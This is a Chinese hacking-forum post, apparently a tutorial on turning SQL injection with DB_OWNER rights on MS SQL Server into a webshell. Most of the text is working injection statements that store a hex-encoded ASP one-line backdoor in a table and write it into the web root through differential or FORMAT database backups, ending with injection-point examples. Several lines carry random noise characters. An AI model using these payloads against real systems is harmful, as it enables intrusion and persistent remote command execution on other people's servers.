DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

: [3 n1 p% K; r3 n* t9 P" L一利用差异备份
4 x1 J& m& A4 T; h加一个参数WITH DIFFERENTIAL
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) J' S- A. Y3 l- q( j5 [declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
' B* L: Q% a" L  n: l8 g# acreate table [dbo].[xiaolu] ([cmd] [image]);
! p# u4 Q) c5 Q* n: vinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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4 |$ i- k( \' z9 m" p9 ^二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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( D4 q3 c& B1 |1 h6 S* g总的来说就是那么简单几句,下面以备份数据库model为例子

, z9 B/ C3 l& vid=1;use model create table cmd(str image);insert into cmd(str) values (”)

9 D% J8 Q8 U; P4 T# q# lid=1;backup database model to disk=’你的路径‘ with differential,format;–
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